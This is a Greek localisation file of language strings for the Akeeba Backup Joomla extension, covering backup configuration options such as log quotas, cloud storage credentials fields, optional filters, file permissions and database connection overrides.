COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Αφαιρεί τα USING BTREE και USING HASH από τους ορισμούς ευρετηρίου πίνακα στα αρχεία dump. Αυτό απαιτείται για επαναφορά σε διακομιστές που έχουν απενεργοποιήσει μία από τις μηχανές ευρετηρίασης (π.χ. σε νεότερες εκδόσεις XAMPP). ΠΡΟΕΙΔΟΠΟΙΗΣΗ! ΑΥΤΟ ΜΠΟΡΕΙ ΝΑ ΠΡΟΚΑΛΕΣΕΙ ΠΡΟΒΛΗΜΑΤΑ ΕΠΑΝΑΦΟΡΑΣ ΣΕ ΟΡΙΣΜΕΝΟΥΣ ΔΙΑΚΟΜΙΣΤΕΣ."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Παράλειψη μηχανής ευρετηρίου"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup δεν θα παρακολουθεί εξαρτήσεις μεταξύ πινάκων και views. Χρησιμοποιήστε αυτό μόνο όταν έχετε εκατοντάδες πίνακες βάσης δεδομένων και δεν χρησιμοποιείτε MySQL VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs ή πίνακες που χρησιμοποιούν τις (εξαιρετικά σπάνιες) μηχανές TEMPORARY, MEMORY, MERGE ή FEDERATED."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Χωρίς παρακολούθηση εξαρτήσεων"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Συνολικός αριθμός απαρχαιωμένων εγγραφών (αντιγράφων ασφαλείας των οποίων τα αρχεία έχουν διαγραφεί) που θα διατηρούνται στη σελίδα Διαχείριση Αντιγράφων Ασφαλείας. Ορίστε 0 για απεριόριστο αριθμό."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Απαρχαιωμένες εγγραφές για διατήρηση"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Διαγραφή απαρχαιωμένων αρχείων καταγραφής"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Αυτόματη διαγραφή αρχείων καταγραφής επιτυχημένων εγγραφών backup. Το αρχείο καταγραφής της τελευταίας εγγραφής backup συμμετέχει στους υπολογισμούς αλλά δεν αφαιρείται ποτέ. Εάν το προφίλ backup σας έχει μηχανή μεταεπεξεργασίας διαφορετική από Καμία ή Αποστολή μέσω Email, μόνο εγγραφές με κατάσταση Remote backup συμμετέχουν σε αυτή τη ρύθμιση ποσόστωσης αρχείων καταγραφής. Εάν το προφίλ backup σας έχει μηχανή μεταεπεξεργασίας Καμία ή Αποστολή μέσω Email, μόνο εγγραφές με κατάσταση OK ή Remote backup συμμετέχουν σε αυτή τη ρύθμιση ποσόστωσης αρχείων καταγραφής. Αυτή η λειτουργία εκτελείται μετά την ποσόστωση απαρχαιωμένων εγγραφών· η ποσόστωση απαρχαιωμένων εγγραφών μπορεί επίσης να αφαιρεί παλιά αρχεία καταγραφής."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Τύπος ποσόστωσης απαρχαιωμένων αρχείων καταγραφής"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Επιλέξτε τη μέθοδο που χρησιμοποιείται για τον προσδιορισμό ποιων παλαιών αρχείων καταγραφής θα αφαιρεθούν."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Μέγιστο Μέγεθος"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Πλήθος"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Μέγιστη Ηλικία"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Πλήθος αρχείων καταγραφής"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Πόσα αρχεία καταγραφής να διατηρούνται. Το αρχείο καταγραφής του τελευταίου backup που ελήφθη μπορεί να συμμετέχει στο πλήθος αλλά δεν θα διαγραφεί ποτέ. Μόνο τα αρχεία καταγραφής επιτυχημένων εγγραφών backup θα εξεταστούν για αφαίρεση."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Μέγεθος αρχείων καταγραφής (Megabytes)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="Το μέγιστο συνολικό μέγεθος αρχείων καταγραφής που θα διατηρούνται. Το αρχείο καταγραφής του τελευταίου backup που ελήφθη μπορεί να συμμετέχει στον υπολογισμό αλλά δεν θα διαγραφεί ποτέ. Μόνο τα αρχεία καταγραφής επιτυχημένων εγγραφών backup θα εξεταστούν για αφαίρεση."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Ηλικία αρχείων καταγραφής (ημέρες)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="Η μέγιστη ηλικία σε ημέρες των αρχείων καταγραφής που θα διατηρούνται. Το αρχείο καταγραφής του τελευταίου backup που ελήφθη δεν θα διαγραφεί ποτέ. Μόνο τα αρχεία καταγραφής επιτυχημένων εγγραφών backup θα εξεταστούν για αφαίρεση."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Συμπληρώνεται αυτόματα όταν ολοκληρώσετε το Βήμα 1 πιστοποίησης παραπάνω. ΜΗΝ μοιράζεστε το ίδιο token σε πολλές τοποθεσίες. Αντίθετα, πιστοποιήστε κάθε τοποθεσία ξεχωριστά."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Διακριτικό Πρόσβασης"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Ανανέωση της λίστας Μονάδων"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Μονάδα"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Επιλέξτε ποια Μονάδα (OneDrive Personal, OneDrive for Business ή SharePoint) στην οποία έχει πρόσβαση ο λογαριασμός σας θα χρησιμοποιηθεί για την αποθήκευση των αντιγράφων ασφαλείας. Πρέπει να ολοκληρώσετε την πιστοποίηση πριν συμπληρωθεί αυτή η λίστα. Έχει νόημα μόνο όταν έχετε πρόσβαση σε περισσότερες από μία μονάδες OneDrive (π.χ. ο λογαριασμός σας Microsoft είναι μέρος της συνδρομής ενός οργανισμού). Εάν δεν είστε σίγουροι, χρησιμοποιήστε την επιλογή «Προεπιλεγμένη Μονάδα» που χρησιμοποιεί την προεπιλεγμένη προσωπική σας Μονάδα — συνήθως ισοδύναμη με την πρώτη επιλογή «Μονάδα (OneDrive Personal)» που βλέπετε παρακάτω."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Μονάδα (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="Ο κατάλογος εντός της μονάδας Microsoft OneDrive για αποθήκευση των αρχείων backup. Χρησιμοποιείτε κάθετες (/) και όχι ανάποδες κάθετες, και βάζετε πάντα κάθετο στην αρχή. Σωστό: /κάτι/αλλο. Λάθος: κάτι\\αλλο. Μία μόνο κάθετος σημαίνει ότι τα αρχεία θα αποθηκευτούν στον ριζικό κατάλογο της μονάδας."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Συμπληρώνεται αυτόματα όταν ολοκληρώσετε το Βήμα 1 πιστοποίησης παραπάνω. ΜΗΝ μοιράζεστε το ίδιο token σε πολλές τοποθεσίες. Αντίθετα, πιστοποιήστε κάθε τοποθεσία ξεχωριστά."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Διακριτικό Ανανέωσης"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="Στο Joomla! 3.9 και νεότερο, οι ενέργειες χρηστών καταγράφονται στη βάση δεδομένων, δημιουργώντας πίνακα με εκατομμύρια γραμμές που επιβραδύνουν το backup σας. Επιλέξτε αυτή την επιλογή για εξαίρεσή τους."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Joomla! Αρχείο Ενεργειών Χρηστών"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Όταν είναι ενεργοποιημένο, θα λαμβάνονται αντίγραφα ασφαλείας μόνο των αρχείων που τροποποιήθηκαν μετά από μια συγκεκριμένη ημερομηνία και ώρα."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Φίλτρο υπό συνθήκη ημερομηνίας"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Το Akeeba Backup θα δημιουργεί αντίγραφα ασφαλείας αρχείων που τροποποιήθηκαν μετά από αυτή την ημερομηνία και ώρα. Η μορφή είναι ΕΕΕΕ-ΜΜ-ΗΗ ωω:λλ:δδ. Όλες οι ημερομηνίες και ώρες εκφράζονται στη ζώνη ώρας του διακομιστή σας."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Backup αρχείων τροποποιημένων μετά από"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Αυτόματη εξαίρεση αρχείων καταγραφής σφαλμάτων, π.χ. <code>error_log</code>, ανεξάρτητα από το πού βρίσκονται στον ιστότοπο που λαμβάνει backup. Αυτά τα αρχεία αλλάζουν μέγεθος κατά τη διάρκεια του backup, κάτι που μπορεί να οδηγήσει σε κατεστραμμένα αντίγραφα ασφαλείας."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Εξαίρεση αρχείων καταγραφής σφαλμάτων"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Εξαίρεση μη κρίσιμου περιεχομένου Έξυπνης Αναζήτησης από το backup. Συνιστάται έντονα να το κάνετε για λόγους απόδοσης. Μετά την επαναφορά του ιστότοπού σας, μεταβείτε στα Στοιχεία, Έξυπνη Αναζήτηση και κάντε κλικ στο κουμπί Ευρετηρίαση για να ανακατασκευάσετε αυτά τα δεδομένα."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Παράλειψη πινάκων όρων και ταξινόμησης Finder"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup θα εξαιρεί αυτόματα τους πιο συνηθισμένους φακέλους στατιστικών πρόσβασης ειδικούς για τον host. Αυτοί οι φάκελοι είναι μόνο για ανάγνωση από τον χρήστη ιστότοπού σας, γεγονός που προκαλεί προβλήματα επαναφοράς εάν λαμβάνονται αντίγραφα ασφαλείας τους."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Backup μόνο πινάκων εγκατεστημένων από το Joomla! και τις επεκτάσεις του"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Η ενεργοποίηση αυτού του φίλτρου θα παραλείψει το backup οποιουδήποτε πίνακα στη βάση δεδομένων που δεν έχει εγκατασταθεί από το ίδιο το Joomla! ή μία από τις επεκτάσεις του. Οι πληροφορίες για εγκατεστημένους πίνακες παρέχονται από τα αρχεία SQL που περιλαμβάνονται στο Joomla! και τις επεκτάσεις του. Αυτό το φίλτρο είναι χρήσιμο όταν έχετε πολλούς ανεπιθύμητους/αντιγραμμένους πίνακες (σκεφτείτε <code>#__users_oldcopy_20250910</code>) και δεν θέλετε ή δεν γνωρίζετε πώς να τους εξαλείψετε έναν προς έναν. Πάντα δοκιμάστε την επαναφορά του backup σε διακομιστή ανάπτυξης/staging όταν χρησιμοποιείτε αυτό το φίλτρο για να διασφαλίσετε ότι η ρύθμισή σας δεν εξέλιπε κατά λάθος πίνακες που θέλατε να χρησιμοποιήσετε."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Περιορισμός φιλτραρίσματος σε πίνακες με το πρόθεμα του Joomla"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Η ενεργοποίηση αυτής της επιλογής θα περιορίσει το φίλτρο «Backup μόνο πινάκων εγκατεστημένων από το Joomla! και τις επεκτάσεις του» σε πίνακες των οποίων το όνομα αρχίζει με το πρόθεμα ονόματος πίνακα βάσης δεδομένων του Joomla!. Αυτό είναι χρήσιμο εάν έχετε σενάρια τρίτων που εκτελούνται εκτός Joomla και εγκαθιστούν τους πίνακές τους χωρίς πρόθεμα πίνακα ή με διαφορετικό πρόθεμα, και θέλετε να τους συμπεριλάβετε στο backup σας."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Ρητή επιτρεπόμενη λίστα αυτών των πινάκων"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Εισαγάγετε μια λίστα πινάκων βάσης δεδομένων διαχωρισμένη με κόμματα για συμπερίληψη στο backup ακόμα και αν θα εξαιρούνταν διαφορετικά από το φίλτρο «Backup μόνο πινάκων εγκατεστημένων από το Joomla! και τις επεκτάσεις του». Αυτό είναι χρήσιμο για συμπερίληψη πινάκων επεκτάσεων που εγκαθιστούν τους πίνακές τους με μέθοδο διαφορετική από τη διαχείριση σχήματος βάσης δεδομένων του Joomla. Συμβουλή: Εάν δείτε πίνακα με κόκκινο εικονίδιο στη σελίδα Εξαίρεση Πινάκων Βάσης Δεδομένων που θέλετε να συμπεριλάβετε στο backup, προσθέστε τον σε αυτή τη λίστα."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Εξαίρεση φακέλων στατιστικών ειδικών για τον host"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Αυτός είναι ο κατάλογος στον διακομιστή σας όπου το Akeeba Backup θα αποθηκεύει τα αρχεία backup και το αρχείο καταγραφής backup. Μπορείτε να χρησιμοποιήσετε τις ακόλουθες μακροεντολές:<ul><li><strong>[DEFAULT_OUTPUT]</strong> Ο προεπιλεγμένος κατάλογος εξόδου</li><li><strong>[SITEROOT]</strong> Ο ριζικός κατάλογος του ιστότοπού σας</li><li><strong>[ROOTPARENT]</strong> Ένας κατάλογος πάνω από τον ριζικό κατάλογο του ιστότοπού σας</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Κατάλογος Εξόδου"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΤΟ ΟΝΟΜΑ ΤΟΥ STORAGE CONTAINER! Μεταβείτε στη διαχείριση OVH cloud, Servers, αναπτύξτε τον διακομιστή σας, κάντε κλικ στο Storage. Θα δείτε τη URL Container γραμμένη εκεί πάνω από τη λίστα των αρχείων σας. Αντιγράψτε την εδώ."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="URL Container"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="Ο κατάλογος εντός του OVH object storage container για αποθήκευση των αρχείων backup. Για αποθήκευση όλων στον ριζικό κατάλογο του container, αφήστε κενό."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="ΑΥΤΟΣ ΔΕΝ ΕΙΝΑΙ Ο ΚΩΔΙΚΟΣ ΣΥΝΔΕΣΗΣ ΣΑΣ ΣΤΟ OVH! Δημιουργήστε έναν χρήστη από τη διαχείριση OVH cloud, Servers, αναπτύξτε τον διακομιστή σας, κάντε κλικ στο OpenStack, κλικ στο Προσθήκη Χρήστη. Αντιγράψτε τον Κωδικό του δημιουργημένου χρήστη εδώ."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="Κωδικός OpenStack"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="Το αναγνωριστικό έργου (project ID) του OVH cloud server σας. Στη διαχείριση cloud OVH αναπτύξτε τον Server σας και κάντε κλικ στο σύνδεσμο Storage. Στην κύρια περιοχή σελίδας βλέπετε το όνομα του διακομιστή και ακριβώς κάτω από αυτό υπάρχει μια αλφαριθμητική συμβολοσειρά 32 χαρακτήρων όπως a0b1c2d3e4f56789abcdef0123456789. Αυτό είναι το Project ID που πρέπει να εισαγάγετε εδώ."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="Project ID"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΤΟ ΟΝΟΜΑ ΧΡΗΣΤΗ ΣΥΝΔΕΣΗΣ ΣΑΣ ΣΤΟ OVH! Δημιουργήστε έναν χρήστη από τη διαχείριση OVH cloud, Servers, αναπτύξτε τον διακομιστή σας, κάντε κλικ στο OpenStack, κλικ στο Προσθήκη Χρήστη. Αντιγράψτε το αναγνωριστικό του δημιουργημένου χρήστη εδώ."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="Όνομα χρήστη OpenStack"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Το Akeeba Backup μπορεί να δημιουργεί διαχωρισμένα (πολλαπλών τμημάτων) αρχεία για να παρακάμπτει περιορισμούς μεγέθους σε διάφορες περιστάσεις. Αυτή η επιλογή ορίζει το μέγιστο μέγεθος κάθε τμήματος αρχείου. Εάν το μειώσετε στο 0, η λειτουργία πολλαπλών τμημάτων απενεργοποιείται.</br><strong>Σημαντικό:</strong>Εάν χρησιμοποιείτε μηχανή επεξεργασίας δεδομένων που μεταφέρει αρχεία σε απομακρυσμένη τοποθεσία (π.χ. cloud storage) χρησιμοποιήστε ρύθμιση γύρω στα 1 έως 5 Mb για βέλτιστα αποτελέσματα."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Μέγεθος τμήματος για διαχωρισμένα αρχεία"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>ΠΡΟΕΙΔΟΠΟΙΗΣΗ! Η ΠΙΣΤΟΠΟΙΗΣΗ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ ΛΟΓΩ ΠΡΟΒΛΗΜΑΤΩΝ ΣΤΟ ΔΙΑΚΟΜΙΣΤΗ API ΤΟΥ pCloud. ΑΥΤΗ Η ΜΗΧΑΝΗ ΜΕΤΑΕΠΕΞΕΡΓΑΣΙΑΣ ΘΑ ΑΦΑΙΡΕΘΕΙ ΣΕ ΜΕΛΛΟΝΤΙΚΗ ΕΚΔΟΣΗ ΤΟΥ AKEEBA BACKUP.</strong>. Συμπληρώνεται αυτόματα όταν ολοκληρώσετε το Βήμα 1 πιστοποίησης παραπάνω. Εάν συνδέετε έναν άλλο ιστότοπο στον ίδιο λογαριασμό pCloud, αντιγράψτε το access token από τον ήδη ρυθμισμένο ιστότοπό σας και μην προσπαθήσετε να εκτελέσετε ξανά το βήμα 1 πιστοποίησης."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Διακριτικό Πρόσβασης"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="Το όνομα του καταλόγου στο pCloud όπου θα αποθηκεύεται το αρχείο backup. <strong>Ο κατάλογος ΠΡΕΠΕΙ να υπάρχει ήδη, διαφορετικά η μεταφόρτωση θα αποτύχει.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Αυστηρή ασφάλεια. Μπορεί να προκαλέσει προβλήματα σε διακομιστές χαμηλής κατηγορίας"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Μέτρια ασφάλεια, για χρήση σε διακομιστές μεμονωμένου ιστότοπου"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Χαλαρή ασφάλεια, μέγιστη συμβατότητα με εμπορικούς hosts"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Ρυθμίστε τα δικαιώματα αρχείων για τα αρχεία backup. Ισχύει μόνο σε Linux, macOS, BSD και άλλους UNIX-style hosts (ΟΧΙ Windows). Εάν δεν είστε σίγουροι, αφήστε το 0666. Η αλλαγή αυτού μπορεί να καταστήσει αδύνατη τη λήψη ή/και διαγραφή αρχείων backup μέσω FTP και SFTP. Εάν ο διακομιστής σας χρησιμοποιεί PHP-FPM ή εκτελεί αλλιώς PHP κάτω από τον ίδιο χρήστη με τον λογαριασμό συστήματος του ιστότοπού σας, χρησιμοποιήστε 0600 για καλύτερη ασφάλεια."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Δικαιώματα αρχείων"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Παρακάμψεις ιστότοπου"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="Το όνομα της βάσης δεδομένων για backup. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Όνομα βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Επιλέξτε τον οδηγό βάσης δεδομένων που θα χρησιμοποιηθεί κατά τη σύνδεση στη βάση δεδομένων του ιστότοπου. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Οδηγός βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="Το hostname ή η διεύθυνση IP του διακομιστή βάσης δεδομένων. Συνήθως localhost ή 127.0.0.1. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Hostname διακομιστή βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="Ο κωδικός για τη σύνδεση στη βάση δεδομένων του ιστότοπου. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Κωδικός"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(προαιρετικό) Η θύρα στην οποία ακούει ο διακομιστής βάσης δεδομένων. Εάν δεν είστε σίγουροι, αφήστε αυτή την επιλογή κενή για να χρησιμοποιηθεί η προεπιλεγμένη θύρα (3306 για διακομιστές MySQL). Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Θύρα διακομιστή βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="Το πρόθεμα της βάσης δεδομένων για backup συμπεριλαμβανομένης της κάτω παύλας, π.χ. <code>ex4m_</code>. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Πρόθεμα"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Σύνδεση με πιστοποιητικό SSL"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Να συνδεόμαστε στη βάση δεδομένων χρησιμοποιώντας πιστοποιητικό SSL; Αυτό μπορεί να χρησιμοποιηθεί αντί της πιστοποίησης με όνομα χρήστη και κωδικό (κρυπτογραφημένη σύνδεση με πιστοποίηση πιστοποιητικού) ή <em>επιπλέον</em> της πιστοποίησης με όνομα χρήστη και κωδικό (κρυπτογραφημένη σύνδεση με πιστοποίηση κωδικού). Εάν δεν γνωρίζετε τι σημαίνει αυτό, ορίστε αυτή την επιλογή σε Όχι και αγνοήστε τις επόμενες επιλογές επίσης."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="Μέθοδοι Κρυπτογράφησης SSL/TLS"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Εισαγάγετε μια λίστα μεθόδων κρυπτογράφησης για σύνδεση με πιστοποιητικά SSL, διαχωρισμένη με άνω και κάτω τελεία. Εάν αφεθεί κενό, θα χρησιμοποιηθεί η προεπιλεγμένη λίστα (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) (συνιστάται)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Αρχείο Αρχής Πιστοποίησης (CA)"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Απόλυτη διαδρομή αρχείου προς το αρχείο PEM πιστοποιητικού Αρχής Πιστοποίησης (CA) του διακομιστή βάσης δεδομένων σας, π.χ. <code>/home/myuser/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Αρχείο Ιδιωτικού Κλειδιού χρήστη βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Απόλυτη διαδρομή αρχείου προς το αρχείο PEM ιδιωτικού κλειδιού του χρήστη βάσης δεδομένων σας, π.χ. <code>/home/myuser/myuser-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Αρχείο Δημόσιου Κλειδιού (Πιστοποιητικό) χρήστη βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Απόλυτη διαδρομή αρχείου προς το αρχείο PEM δημόσιου κλειδιού (πιστοποιητικό) του χρήστη βάσης δεδομένων σας, π.χ. <code>/home/myuser/myuser.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Επαλήθευση πιστοποιητικού διακομιστή"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Ορίστε Ναι για επαλήθευση του πιστοποιητικού που μας στέλνει πίσω ο διακομιστής. Αυτό επαληθεύεται σύμφωνα με το αρχείο Αρχής Πιστοποίησης (CA) που καθορίσατε. Εάν λαμβάνετε σφάλματα σύνδεσης, ορίστε το σε Όχι· ορισμένες ρυθμίσεις (ειδικά αυτές που δημιουργούνται από το <code>mysql_ssl_rsa_setup</code>) ενδέχεται να απαγορεύουν τη σύνδεση εάν είναι ενεργοποιημένη η επαλήθευση πιστοποίησης. Εάν ενεργοποιήσετε την επαλήθευση και το πεδίο αρχείου CA αφεθεί κενό, το πιστοποιητικό του διακομιστή θα ελεγχθεί σύμφωνα με τα αρχεία Αρχής Πιστοποίησης που γνωρίζει ο διακομιστής σας, δείτε τις επιλογές PHP <code>openssl.cafile</code> και <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="Το όνομα χρήστη για σύνδεση στη βάση δεδομένων του ιστότοπου. Χρησιμοποιείται μόνο όταν έχει επιλεγεί το πλαίσιο παράκαμψης βάσης δεδομένων ιστότοπου."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Όταν έχετε ενεργοποιήσει την επιλογή Παράκαμψης Ριζικού Καταλόγου Ιστότοπου παραπάνω, το Akeeba Backup θα δημιουργεί αντίγραφα ασφαλείας όλων των αρχείων και καταλόγων κάτω από τον ριζικό κατάλογο αυτού του ιστότοπου"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Εξαναγκασμός Ριζικού Καταλόγου Ιστότοπου"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Όταν δεν έχει επιλεγεί (προεπιλογή), το Akeeba Backup θα δημιουργεί αυτόματα αντίγραφα ασφαλείας της βάσης δεδομένων στην οποία συνδέεται ο ιστότοπος στον οποίο είναι εγκατεστημένο (η βάση δεδομένων Joomla! σας). Όταν έχει επιλεγεί, θα δημιουργεί αντίγραφα ασφαλείας μιας διαφορετικής βάσης δεδομένων, χρησιμοποιώντας τα στοιχεία σύνδεσης που παρέχετε παρακάτω."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Παράκαμψη βάσης δεδομένων ιστότοπου"
